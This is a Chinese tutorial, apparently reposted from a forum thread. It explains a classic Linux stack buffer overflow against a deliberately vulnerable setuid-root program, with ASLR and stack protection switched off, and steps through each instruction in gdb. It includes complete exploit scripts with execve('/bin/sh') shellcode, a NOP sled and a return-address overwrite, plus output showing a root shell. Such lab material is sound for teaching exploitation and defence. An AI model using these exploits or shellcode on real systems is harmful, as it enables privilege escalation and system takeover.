Linux栈溢出例子详解

程序员文章站 2022-05-15 21:33:56

...

注：本例中使用的例子为看雪论坛帖子中的例子（https://bbs.pediy.com/thread-216868.htm），结合自己的理解，进行更深入的详细的讲解，更有利于理解细节！
例子中的代码如下：

//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
        /* [1] */ char buf[256];
        /* [2] */ strcpy(buf,argv[1]);
        /* [3] */ printf("Input:%s\n",buf);
        return 0;
}

首先要关闭Linux的地址随机化（ASLR）

#echo 0 > /proc/sys/kernel/randomize_va_space

注解：如果安装了gdb的插件peda，则可以简单的通过aslr命令查看是否开启aslr，也可以通过aslr on/off关闭或者开启aslr。
Linux 平台上 ASLR 分为 0，1，2 三级，用户可以通过一个内核参数 randomize_va_space 进行等级控制。可以通过通过cat /proc/sys/kernel/randomize_va_space 查看。它们对应的效果如下：
0：没有随机化。即关闭 ASLR。
1：保留的随机化。共享库、栈、mmap() 以及 VDSO （VDSO就是Virtual Dynamic Shared Object，就是内核提供的虚拟的.so,这个.so文件不在磁盘上，而是在内核里头）将被随机化。
2：完全的随机化。在 1 的基础上，通过 brk() 分配的内存空间也将被随机化。
然后编译程序代码：

$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c

这里-fno-stack-protector 是关闭栈保护；-z execstack 是开启栈可执行。
然后更改程序的拥有者和组权限，并添加粘滞位：

$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

下面我们开始使用gdb调试程序，在这里我们还将详细讲解该段代码对应的每行汇编的具体含义，所以有些啰嗦，如果已经对这部分很熟悉的就可以略过了。
反汇编的代码如下：

(gdb) disass main
Dump of assembler code for function main:
   0x0804844d <+0>: push   %ebp
   0x0804844e <+1>: mov    %esp,%ebp
   0x08048450 <+3>: and    $0xfffffff0,%esp
   0x08048453 <+6>: sub    $0x110,%esp
   0x08048459 <+12>:    mov    0xc(%ebp),%eax
   0x0804845c <+15>:    add    $0x4,%eax
   0x0804845f <+18>:    mov    (%eax),%eax
   0x08048461 <+20>:    mov    %eax,0x4(%esp)
   0x08048465 <+24>:    lea    0x10(%esp),%eax
   0x08048469 <+28>:    mov    %eax,(%esp)
   0x0804846c <+31>:    call   0x8048320 <strcpy@plt>
   0x08048471 <+36>:    lea    0x10(%esp),%eax
   0x08048475 <+40>:    mov    %eax,0x4(%esp)
   0x08048479 <+44>:    movl   $0x8048520,(%esp)
   0x08048480 <+51>:    call   0x8048310 <printf@plt>
   0x08048485 <+56>:    mov    $0x0,%eax
   0x0804848a <+61>:    leave  
   0x0804848b <+62>:    ret    
End of assembler dump.

下面我们开始运行程序，我们在每行汇编的地方就下一个断点，可以通过b *addr 的方式进行。下面一段时间我们重点关注esp，ebp，eax几个寄存器的值，来熟悉在函数调用的过程中栈如何变化以及如何传参。

(gdb) r AAAAAAAAAAAAAAAA

首先运行到函数开始处：4 int main(int argc, char* argv[]) { 此时，我们通过(gdb) i r 获得的寄存器的值如下：

(gdb) i r
eax            0x2  2
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aeeec   0xbf8aeeec
ebp            0x0  0x0

此时eax的值为2，其中保存的是main函数参数argc的值2，因为我们传入了两个参数，C语言将函数名算作第一个参数argv[0], 本次运行输入的AAAAAAAAAAAAAAAA是第二个参数argv[1].
当前的esp的值为0xbf8aeeec。
我们继续运行程序到地址0x0804844e，即运行代码0x0804844d <+0>: push %ebp 后再查看寄存器的值如下：

(gdb) i r
eax            0x2  2
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aeee8   0xbf8aeee8

可以看到esp由0xbf8aeeec变为了0xbf8aeee8，这是因为这一步将原来的ebp压入到了栈中，栈增长4个字节（栈地址是从高地址向低地址方向生长）。
继续执行下一行代码，0x0804844e <+1>: mov %esp,%ebp ，寄存器的值如下：

(gdb) i r
eax            0x2  2
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aeee8   0xbf8aeee8
ebp            0xbf8aeee8   0xbf8aeee8

可以看出此时栈顶和栈底的值相同，这是C语言函数调用栈帧调整的结果，即在保存了调用者的栈底以后，将栈帧迁移到main函数的栈帧。
继续执行下一行代码，0x08048450 <+3>: and $0xfffffff0,%esp ，寄存器的值如下：

(gdb) i r
eax            0x2  2
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aeee0   0xbf8aeee0
ebp            0xbf8aeee8   0xbf8aeee8

这个时候我们发现esp变为了0xbf8aeee0，这是linux栈帧对其的结果，是esp=esp&0xfffffff0的结果。
继续执行下一行代码，0x08048453 <+6>: sub $0x110,%esp ，寄存器的值如下：

(gdb) i r
eax            0x2  2
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aedd0   0xbf8aedd0
ebp            0xbf8aeee8   0xbf8aeee8

可以看到esp变为了0xbf8aedd0，其中ebp-esp=280字节=8字节对齐+256字节的buf数组+16字节预留的空间。函数栈布局如下：
Linux栈溢出例子详解
首先说明一下main函数的两个参数argc和argv，argc是一个整形变量，存放主函数的命令行参数的个数，argv是命令行参数数组的指针，argv[]中存放了每个命令行参数的地址，在调用主函数时，参数从右到左以此入栈，所有argv（存放命令行参数数组的指针，4字节）首先入栈，然后argc入栈，随后返回地址入栈，EBP入栈，然后调整栈帧，经过上述一系列步骤以后栈帧布局如上图所示。
我们看到栈预留的空间要比main函数的局部变量buf的256自己要大一些！本例的主要工作是将命令行参数argv[1]复制到buf中，所以下面的代码需要先找到存放argv[1]参数的位置，也就是下面几行代码：

   0x08048459 <+12>:    mov    0xc(%ebp),%eax
   0x0804845c <+15>:    add    $0x4,%eax
   0x0804845f <+18>:    mov    (%eax),%eax

根据栈布局，我们知道argv数组的地址存放在距离ebp 0xc远的位置，所以通过mov 0xc(%ebp),%eax 获取argv数组的指针，并保存到eax寄存器中。通过查看寄存器的值我们可知：

(gdb) i r
eax            0xbf8aef84   -1081413756
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aedd0   0xbf8aedd0
ebp            0xbf8aeee8   0xbf8aeee8

由eax=0xbf8aef84，可以argv指数数组的内存地址为0xbf8aef84。由于argv[1]是argv数组的第二个元素，所以其地址为argv的基地址+4字节，所以就是0x0804845c <+15>: add $0x4,%eax，此时eax=0xbf8aef88，即存放元素argv[1]内容的地址存放在地址为0xbf8aef88的地方。代码0x0804845f <+18>: mov (%eax),%eax 的目的就是获取argv[1]内容的存放地址。

(gdb) i r
eax            0xbf8aef88   -1081413752
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aedd0   0xbf8aedd0
ebp            0xbf8aeee8   0xbf8aeee8

上面的事实可以通过以下结果说明：

(gdb) x/xw 0xbf8aef88
0xbf8aef88: 0xbf8b02b9
(gdb) x/12xw 0xbf8b02b9
0xbf8b02b9: 0x41414141  0x41414141  0x41414141  0x41414141
0xbf8b02c9: 0x5f434c00  0x45504150  0x687a3d52  0x2e4e435f
0xbf8b02d9: 0x2d465455  0x44580038  0x54565f47  0x373d524e

执行完代码0x0804845f <+18>: mov (%eax),%eax 以后，我们查看寄存器也可以得到eax=0xbf8b02b9的结果。

(gdb) i r
eax            0xbf8b02b9   -1081408839
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aedd0   0xbf8aedd0
ebp            0xbf8aeee8   0xbf8aeee8

可以看出我们输入的命令行参数存放在地址为0xbf8b02b9的位置，通过x/12xw 0xbf8b02b9查看可以看到我们输入的“AAAAAAAAAAAAAAAA”出现这这里，（A的ASCII为0x41）。
具体关系如下图所示：
Linux栈溢出例子详解
至此，我们已经说清楚了main函数调用过程中发生的事情，下面我们将转到strcpy过程，以解释如何导致缓冲区溢出的！

下面分析如下代码段：

   0x08048461 <+20>:    mov    %eax,0x4(%esp)           
   //将argv[1]命令行参数的地址存放到0x4(%esp)的位置，即strcpy的第二个参数
   0x08048465 <+24>:    lea    0x10(%esp),%eax          //获取buf数组的地址
   0x08048469 <+28>:    mov    %eax,(%esp)              //将buf数组的地址放到栈顶，即strcpy的第一个参数  
   0x0804846c <+31>:call   0x8048320 <strcpy@plt>
   //调用strcpy，该函数两个参数已经按照从右到左入栈的规则依次放置在了栈顶

在执行0x0804846c <+31>: call 0x8048320 <aaa@qq.com>前，寄存器数值及栈顶如下：

(gdb) i r
eax            0xbf8aede0   -1081414176
ecx            0x523d8be6   1379765222
edx            0xbf8aef14   -1081413868
ebx            0xb7735000   -1217179648
esp            0xbf8aedd0   0xbf8aedd0
ebp            0xbf8aeee8   0xbf8aeee8
(gdb) x/8xw $esp
0xbf8aedd0: 0xbf8aede0  0xbf8b02b9  0x00000000  0x00000000
0xbf8aede0: 0x00000000  0x00000000  0x00000001  0x000008d6

调用strcpy前布局如下：
Linux栈溢出例子详解

调用0x0804846c <+31>: call 0x8048320 <aaa@qq.com> 就是导致缓冲区溢出的问题所在，如果输入的argv[1]的长度超过了buf的大小，则因为C语言不会检查输入字符串的长度，所以就是覆盖buf后面的内存内容，导致溢出，如果覆盖到返回地址，并且将返回地址指向黑客设定的攻击代码，则攻击发生！这里需要覆盖返回地址，我们需要计算我们输入数据的长度。
根据上图，我们计算覆盖返回地址需要的字符的长度。length=256（buf长度）+8（字节对齐）+4（EBP）+4（返回地址）=268+4=272字节
我们向buf里面写入268个A+4个B，来验证是否返回地址被4个B覆盖！

$ gdb -q vuln
Reading symbols from vuln...done.
(gdb) r `python -c 'print "A"*268+"B"*4'`
Starting program: /home/pwn32/pwn/vuln `python -c 'print "A"*268+"B"*4'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242

返回地址处的内容为0x42424242，即BBBB，说明覆盖返回地址成功。

下面构造shellcode和EXP，代码如下：

#vuln_exp.py 
#!/usr/bin/env python
import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbfffeef0    //局部变量buf的地址，该地址需要根据自己的平台运行结果进行修改！      

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("<I",num)    #nk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])

基于pwntools，可以改写成如下形式：

#vuln_exp.py 
#!/usr/bin/env python
from pwn import *
#Stack address where shellcode is copied.
ret_addr = 0xbfffeef0          

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
payload="A" * 268+p32(ret_addr)+'\x90'*100+scode

sh=process(argv=['./vuln',payload])
sh.recv()
sh.interactive()

此时，shellcode在内存的布局如下：
Linux栈溢出例子详解
运行python vuln_exp.py得到如下输出，成功获取shell：

$ python vuln_exp.py 
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(pwn32) gid=1000(pwn32) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(pwn32)
#

其实shellcode的布局还可以是如下的形式，即”NOPS + shellcode + padding + ret”等方法，只要定位返回地址在NOPS上就可以。shellcode如下：

#vuln_exp3.py 
#!/usr/bin/env python
from pwn import *
#Stack address where shellcode is copied.
ret_addr = 0xbfffee20          

#Spawn a shell
#execve(/bin/sh)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

payload=shellcode+'\x90'*(268-len(shellcode))+p32(ret_addr)

sh=process(argv=['./vuln',payload])
sh.recv()
sh.interactive()

需要注意的是这里的ret_addr为buf的起始地址，但因为gdb调试与实际的栈地址不一致，可能导致我们通过gdb获取的地址并不正确，此时我们需要通过core dump的方式获取真实的地址，方法如下：

$ ulimit -c unlimited
$ sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

$ ulimit -c unlimited产生core文件，就是程序运行发生段错误时的文件。写入错误的ret_addr，导致程序错误，会得到core文件，然后通过调试core文件找到正确的buf 的其实地址。

$ sudo gdb -q vuln /tmp/core.1531791844
Reading symbols from vuln...done.
[New LWP 3294]
Core was generated by `./vuln 1�Ph//shh/bin��P��S���
                                                    �����������������������������������������������'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$ x/10s $esp-272
0xbfffee20: "1\300Ph//shh/bin\211\343P\211\342S\211\341\260\v̀", '\220' <repeats 175 times>...

可以得到返回地址为0xbfffee20，将返回地址写到exp文件中，既可以运行漏洞利用了，如下：

$ python vuln_exp3.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './vuln': pid 3345
[*] Switching to interactive mode
$ id
uid=1000(pwn32) gid=1000(pwn32) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare),1000(pwn32)

利用成功！

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